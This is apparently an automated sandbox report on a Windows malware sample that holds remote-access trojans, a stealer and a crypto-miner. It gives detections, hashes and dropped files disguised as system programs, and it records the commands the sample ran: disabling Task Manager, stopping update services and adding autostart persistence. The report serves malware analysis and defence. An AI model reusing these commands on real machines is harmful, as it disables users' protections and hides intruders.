1_2_0017DF1E

Source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe

Code function: 1_2_0016B146 GetVersionExW,

1_2_0016B146

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Windows\SysWOW64\reg.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Windows\SysWOW64\reg.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Modifies power options to not sleep / hibernate

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0

Stops critical windows services

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc

Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\schtasks.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\schtasks.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match

File source: 0000000D.00000002.2245855345.00000000126BD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: 1.3.Astral private DLL.exe.66ab718.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.AstralprivateDLL.exe.bin.exe.308171f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.0.ServerComponenthostMonitorDll.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.AstralprivateDLL.exe.bin.exe.308171f.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.Astral private DLL.exe.66a1718.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.Astral private DLL.exe.66a1718.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.Astral private DLL.exe.66ab718.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1717902037.0000000003033000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.1791002299.0000000000222000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1728765563.0000000006653000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1729671319.000000000665D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Windows\en-GB\WmiPrvSE.exe, type: DROPPED
Source: Yara match	File source: C:\containerperf\ServerComponenthostMonitorDll.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Windows Defender\Platform\sihost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\appcompat\powershell.exe, type: DROPPED
Source: Yara match	File source: C:\containerperf\lsass.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 1.3.Astral private DLL.exe.66ab718.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.AstralprivateDLL.exe.bin.exe.308171f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.0.ServerComponenthostMonitorDll.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.AstralprivateDLL.exe.bin.exe.308171f.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.Astral private DLL.exe.66a1718.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.Astral private DLL.exe.66a1718.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.Astral private DLL.exe.66ab718.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Windows\en-GB\WmiPrvSE.exe, type: DROPPED
Source: Yara match	File source: C:\containerperf\ServerComponenthostMonitorDll.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Windows Defender\Platform\sihost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\appcompat\powershell.exe, type: DROPPED
Source: Yara match	File source: C:\containerperf\lsass.exe, type: DROPPED

Remote Access Functionality

Yara detected DCRat

Source: Yara match

File source: 0000000D.00000002.2245855345.00000000126BD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: 1.3.Astral private DLL.exe.66ab718.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.AstralprivateDLL.exe.bin.exe.308171f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.0.ServerComponenthostMonitorDll.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.AstralprivateDLL.exe.bin.exe.308171f.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.Astral private DLL.exe.66a1718.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.Astral private DLL.exe.66a1718.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.Astral private DLL.exe.66ab718.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.1717902037.0000000003033000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000000.1791002299.0000000000222000.00000002.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1728765563.0000000006653000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1729671319.000000000665D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Windows\en-GB\WmiPrvSE.exe, type: DROPPED
Source: Yara match	File source: C:\containerperf\ServerComponenthostMonitorDll.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Windows Defender\Platform\sihost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\appcompat\powershell.exe, type: DROPPED
Source: Yara match	File source: C:\containerperf\lsass.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: 1.3.Astral private DLL.exe.66ab718.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.AstralprivateDLL.exe.bin.exe.308171f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.0.ServerComponenthostMonitorDll.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.AstralprivateDLL.exe.bin.exe.308171f.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.Astral private DLL.exe.66a1718.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.Astral private DLL.exe.66a1718.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.3.Astral private DLL.exe.66ab718.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Windows\en-GB\WmiPrvSE.exe, type: DROPPED
Source: Yara match	File source: C:\containerperf\ServerComponenthostMonitorDll.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files\Windows Defender\Platform\sihost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\Astral private DLL.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\appcompat\powershell.exe, type: DROPPED
Source: Yara match	File source: C:\containerperf\lsass.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	131 Windows Management Instrumentation	11 Scripting	1 Abuse Elevation Control Mechanism	41 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	1 Taint Shared Content	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	11 DLL Side-Loading	11 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Windows Service	1 Access Token Manipulation	1 Abuse Elevation Control Mechanism	Security Account Manager	57 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	21 Scheduled Task/Job	21 Scheduled Task/Job	1 Windows Service	3 Obfuscated Files or Information	NTDS	241 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Service Execution	41 Registry Run Keys / Startup Folder	812 Process Injection	1 Install Root Certificate	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	1 PowerShell	RC Scripts	21 Scheduled Task/Job	13 Software Packing	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	41 Registry Run Keys / Startup Folder	11 DLL Side-Loading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 File Deletion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	4 Rootkit	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	133 Masquerading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	2 Modify Registry	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	41 Virtualization/Sandbox Evasion	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Access Token Manipulation	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service
Business Relationships	Server	Trusted Relationship	Visual Basic	Container Orchestration Job	Container Orchestration Job	812 Process Injection	Web Portal Capture	Local Groups	Component Object Model and Distributed COM	Local Email Collection	Internal Proxy	Commonly Used Port	Direct Network Flood
Identify Business Tempo	Botnet	Hardware Additions	Python	Hypervisor	Process Injection	1 Hidden Files and Directories	Credential API Hooking	Domain Groups	Exploitation of Remote Services	Remote Email Collection	External Proxy	Transfer Data to Cloud Account	Reflection Amplification

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
AstralprivateDLL.exe.bin.exe	61%	ReversingLabs	Win32.Trojan.Generic
AstralprivateDLL.exe.bin.exe	73%	Virustotal		Browse
AstralprivateDLL.exe.bin.exe	100%	Avira	HIDDENEXT/Crypted
AstralprivateDLL.exe.bin.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\appcompat\powershell.exe	100%	Avira	HEUR/AGEN.1339906
C:\Users\user\Desktop\AvUrEmYP.log	100%	Avira	TR/PSW.Agent.qngqt
C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	100%	Avira	VBS/Runner.VPG
C:\containerperf\lsass.exe	100%	Avira	HEUR/AGEN.1339906
C:\containerperf\ServerComponenthostMonitorDll.exe	100%	Avira	HEUR/AGEN.1339906
C:\Users\user\AppData\Local\Temp\bcapgbqjwdsj.tmp	100%	Avira	HEUR/AGEN.1362795
C:\Program Files\Windows Defender\Platform\sihost.exe	100%	Avira	HEUR/AGEN.1339906
C:\Windows\en-GB\WmiPrvSE.exe	100%	Avira	HEUR/AGEN.1339906
C:\containerperf\mtmIdTw4RygS3trJMnWvLFqF6dzRpLwhZvwqEPqaKDGsnR5lufKuCs3iyL.vbe	100%	Avira	VBS/Runner.VPG
C:\Users\user\AppData\Local\Temp\bxCB1k3pGG.bat	100%	Avira	BAT/Delbat.C
C:\Windows\en-GB\WmiPrvSE.exe	100%	Avira	HEUR/AGEN.1339906
C:\Users\user\Desktop\qHqBUadh.log	100%	Avira	TR/AVI.Agent.updqb
C:\Users\user\Desktop\QWRgRujm.log	100%	Joe Sandbox ML
C:\Windows\appcompat\powershell.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\gYWllyYA.log	100%	Joe Sandbox ML
C:\Users\user\Desktop\AvUrEmYP.log	100%	Joe Sandbox ML
C:\Program Files\Google\Chrome\updater.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	100%	Joe Sandbox ML
C:\containerperf\lsass.exe	100%	Joe Sandbox ML
C:\containerperf\ServerComponenthostMonitorDll.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\bcapgbqjwdsj.tmp	100%	Joe Sandbox ML
C:\Program Files\Windows Defender\Platform\sihost.exe	100%	Joe Sandbox ML
C:\Windows\en-GB\WmiPrvSE.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\nWKkNNTp.log	100%	Joe Sandbox ML
C:\Windows\System32\SecurityHealthSystray.exe	100%	Joe Sandbox ML
C:\Windows\en-GB\WmiPrvSE.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\twain_32.exe	100%	Joe Sandbox ML
C:\Program Files\Google\Chrome\updater.exe	79%	ReversingLabs	Win64.Trojan.Whisperer
C:\Program Files\Google\Chrome\updater.exe	68%	Virustotal		Browse
C:\Program Files\Windows Defender\Platform\sihost.exe	61%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Program Files\Windows Defender\Platform\sihost.exe	49%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	62%	ReversingLabs	Win32.Trojan.Uztuby
C:\Users\user\AppData\Local\Temp\Astral private DLL.exe	43%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\bcapgbqjwdsj.tmp	92%	ReversingLabs	Win64.Trojan.Heracles
C:\Users\user\AppData\Local\Temp\bcapgbqjwdsj.tmp	82%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\twain_32.exe	79%	ReversingLabs	Win64.Trojan.Whisperer
C:\Users\user\Desktop\AvUrEmYP.log	71%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Users\user\Desktop\IbBZTfZC.log	25%	ReversingLabs
C:\Users\user\Desktop\OMvfRcDl.log	38%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
C:\Users\user\Desktop\QWRgRujm.log	9%	ReversingLabs
C:\Users\user\Desktop\gYWllyYA.log	29%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\Desktop\nWKkNNTp.log	8%	ReversingLabs
C:\Users\user\Desktop\qHqBUadh.log	50%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\appcompat\powershell.exe	61%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\Windows\en-GB\WmiPrvSE.exe	61%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\containerperf\ServerComponenthostMonitorDll.exe	61%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\containerperf\WmiPrvSE.exe	61%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat
C:\containerperf\lsass.exe	61%	ReversingLabs	ByteCode-MSIL.Trojan.DCRat

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
pool.hashvault.pro	192.248.189.11	true	false	high
pastebin.com	104.20.4.235	true	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.m	AstralprivateDLL.exe.bin.exe, 00000000.00000003.1726981626.0000000003569000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1590023
Start date and time:	2025-01-13 13:39:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	47
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	9
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	AstralprivateDLL.exe.bin.exe
Detection:	MAL
Classification:	mal100.spre.troj.spyw.expl.evad.mine.winEXE@91/54@2/0
EGA Information:	Successful, ratio: 86.7%
HCA Information:	Successful, ratio: 64% Number of executed functions: 254 Number of non-executed functions: 206
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): SIHClient.exe, WmiPrvSE.exe, schtasks.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.85.23.206, 40.69.42.241, 40.126.32.72, 40.126.32.136, 40.126.32.138, 40.126.32.68, 20.190.160.22, 40.126.32.76, 20.190.160.20, 40.126.32.133, 13.107.253.44
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, www.tm.v4.a.prd.aadg.akadns.net, ctldl.windowsupdate.com, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, 468198cl.nyashtop.top, ocsp.digicert.com, login.live.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Execution Graph export aborted for target powershell.exe, PID 1460 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:40:11	API Interceptor	1x Sleep call for process: twain_32.exe modified
07:40:13	API Interceptor	64x Sleep call for process: powershell.exe modified
07:40:28	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
07:40:37	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run powershell "C:\Windows\appcompat\powershell.exe"
07:40:48	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run lsass "C:\containerperf\lsass.exe"
07:40:53	API Interceptor	355664x Sleep call for process: winlogon.exe modified
07:40:57	API Interceptor	232504x Sleep call for process: lsass.exe modified
07:40:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run sihost "C:\Program Files\Windows Defender\Platform\sihost.exe"
07:41:00	API Interceptor	1334x Sleep call for process: svchost.exe modified
07:41:02	API Interceptor	304502x Sleep call for process: dwm.exe modified
07:41:04	API Interceptor	1212x Sleep call for process: dialer.exe modified
07:41:08	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run WmiPrvSE "C:\Windows\en-GB\WmiPrvSE.exe"
07:41:16	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ServerComponenthostMonitorDll "C:\containerperf\ServerComponenthostMonitorDll.exe"
07:41:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run powershell "C:\Windows\appcompat\powershell.exe"
07:41:50	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run lsass "C:\containerperf\lsass.exe"
07:42:27	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run sihost "C:\Program Files\Windows Defender\Platform\sihost.exe"
12:40:25	Task Scheduler	Run new task: GoogleUpdateTaskMachineQC path: C:\Program Files\Google\Chrome\updater.exe
12:40:34	Task Scheduler	Run new task: lsass path: "C:\containerperf\lsass.exe"
12:40:34	Task Scheduler	Run new task: lsassl path: "C:\containerperf\lsass.exe"
12:40:34	Task Scheduler	Run new task: powershell path: "C:\Windows\appcompat\powershell.exe"
12:40:35	Task Scheduler	Run new task: powershellp path: "C:\Windows\appcompat\powershell.exe"
12:40:35	Task Scheduler	Run new task: sihost path: "C:\Program Files\Windows Defender\Platform\sihost.exe"
12:40:35	Task Scheduler	Run new task: sihosts path: "C:\Program Files\Windows Defender\Platform\sihost.exe"
12:40:36	Task Scheduler	Run new task: WmiPrvSE path: "C:\Windows\en-GB\WmiPrvSE.exe"
12:40:36	Task Scheduler	Run new task: WmiPrvSEW path: "C:\Windows\en-GB\WmiPrvSE.exe"
12:40:42	Task Scheduler	Run new task: ServerComponenthostMonitorDll path: "C:\containerperf\ServerComponenthostMonitorDll.exe"
12:40:42	Task Scheduler	Run new task: ServerComponenthostMonitorDllS path: "C:\containerperf\ServerComponenthostMonitorDll.exe"

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pool.hashvault.pro	9d2h99wrj.exe	Get hash	malicious	Xmrig	Browse	192.248.189.11
	Solara.exe	Get hash	malicious	Python Stealer, Exela Stealer, Xmrig	Browse	192.248.189.11
	xmr new.exe	Get hash	malicious	Xmrig	Browse	80.240.16.67
	eth.exe	Get hash	malicious	Xmrig	Browse	192.248.189.11
	ZppxPm0ASs.exe	Get hash	malicious	Xmrig	Browse	5.188.137.200
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar, Xmrig	Browse	5.188.137.200
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	37.203.243.102
	file.exe	Get hash	malicious	Xmrig	Browse	5.188.137.200
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	5.188.137.200
	file.exe	Get hash	malicious	Xmrig	Browse	37.203.243.102
pastebin.com	Loader.exe	Get hash	malicious	Unknown	Browse	104.20.4.235
	E6wUHnV51P.exe	Get hash	malicious	DCRat	Browse	104.20.3.235
	lrw6UNGsUC.exe	Get hash	malicious	XWorm	Browse	104.20.4.235
	6mllsKaB2q.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.19.24
	XClient.exe	Get hash	malicious	XWorm	Browse	104.20.4.235
	18e568eb4ca89f8a3e4f04b1eb15472b55b4548f4d153.exe	Get hash	malicious	DCRat	Browse	104.20.3.235
	Solara_v3.exe	Get hash	malicious	Unknown	Browse	104.20.4.235
	Solara_v3.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
	Drivespan.dll	Get hash	malicious	Unknown	Browse	104.20.3.235
	XClient.exe	Get hash	malicious	XWorm	Browse	172.67.19.24
bg.microsoft.map.fastly.net	documents.exe	Get hash	malicious	Remcos	Browse	199.232.210.172
	YYYY-NNN AUDIT DETAIL REPORT .docx	Get hash	malicious	Unknown	Browse	199.232.210.172
	1972921391166218927.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	29522576223272839.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1329220172182926612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	29112223682907312977.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	179861427815317256.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	16910148382611315301.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	tesr.exe	Get hash	malicious	LummaC Stealer	Browse	199.232.214.172
	https://link.mail.beehiiv.com/ss/c/u001.dSnm3kaGd0BkNqLYPjeMfxWXllAYaBQ5sAn4OVD0j89GQGPZtwQlLugE_8c0wQMKfkpy5_wJ66BvE1Ognfzf5MlQMAeZ1qYs5mgwUBu3TAc6279Q43ISHz-HkVRC08yeDA4QvKWsqLTI1us9a0eXx18qeAibsZhjMMPvES-iG2zoVABKcwKIVWyx95VTVcFMSh6AEN3OCUfP_rXFvjKRbIPMuhn_dqYr8yUBKJvhhlJR9FhTpZPAULxzMbsYWp8k/4cu/JfECY1HwRl-ipvrNOktVcw/h23/h001.ibQl2N4tDD79TTzErix_sFWEGLTTuM6dTVMrTg3y5Dk	Get hash	malicious	Unknown	Browse	199.232.214.172

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\bcapgbqjwdsj.tmp	launcher.exe.bin.exe	Get hash	malicious	PureLog Stealer, Xmrig, zgRAT	Browse
	Eulen.exe	Get hash	malicious	Xmrig	Browse
	zufmUwylvo.exe	Get hash	malicious	Flesh Stealer, Xmrig	Browse
	zufmUwylvo.exe	Get hash	malicious	Xmrig	Browse
	test2.exe	Get hash	malicious	Xmrig	Browse
	PasteHook.exe	Get hash	malicious	AsyncRAT, DCRat, StormKitty, WorldWind Stealer, Xmrig	Browse
	hfi47s4wOT.exe	Get hash	malicious	Unknown	Browse
	https://oxy.st/d/SmUh	Get hash	malicious	Xmrig	Browse
	SecuriteInfo.com.Win32.Evo-gen.6103.10668.exe	Get hash	malicious	Unknown	Browse
	H8Q1WRGrzw.exe	Get hash	malicious	AsyncRAT, AveMaria, UACMe, VenomRAT, Xmrig, zgRAT	Browse

Created / dropped Files

C:\Program Files\Google\Chrome\updater.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\twain_32.exe
File Type:	PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	6007384
Entropy (8bit):	7.677631047166036
Encrypted:	false
SSDEEP:	98304:L019jVmxMBIJDBWUQ/HUh6Azh+Xfh/iQzNJQEiDJvybzC6SN:LaHBUQ/46ih+X5DQsbu6s
MD5:	1FF26B7D334CD22E726CAF72A4208B96
SHA1:	D2A1AD17E27C01072AC41D4D20426DD5CA7554AD
SHA-256:	56ECE6BE060502193ED0360A8FF7D0633DC7E88D133B28B8A73DFB755D2134DB
SHA-512:	787B02B048DAD824DD216A0B33872B2012FC8B2C47D831A33C4EB05399DF9A253BD30A8789659A7DA0EEA8535BB78705685AC67AE546D2F10210C7BA552B4F49
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 79% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$.......PE..d......f...............&......[..&.............@..............................\......[...`... ...............................................[.4.....[. ....`[.......[.X&....\.0...........................`L[.(.....................[.P............................text...............................`..`.data... SY......TY.................@....rdata...>... [..@....[.............@..@.pdata.......`[......D[.............@..@.xdata..<.....[......X[.............@..@.bss.... %....[..........................idata..4.....[......h[.............@....CRT....`.....[......t[.............@....tls..........[......v[.............@....rsrc... .....[......x[.............@....reloc..0.....\.......[.............@..B........................................................................................................................................................................

C:\Program Files\Windows Defender\Platform\66fc9ff0ee96c2

Download File

Process:	C:\containerperf\ServerComponenthostMonitorDll.exe
File Type:	ASCII text, with very long lines (372), with no line terminators
Category:	dropped
Size (bytes):	372
Entropy (8bit):	5.805961461014327
Encrypted:	false
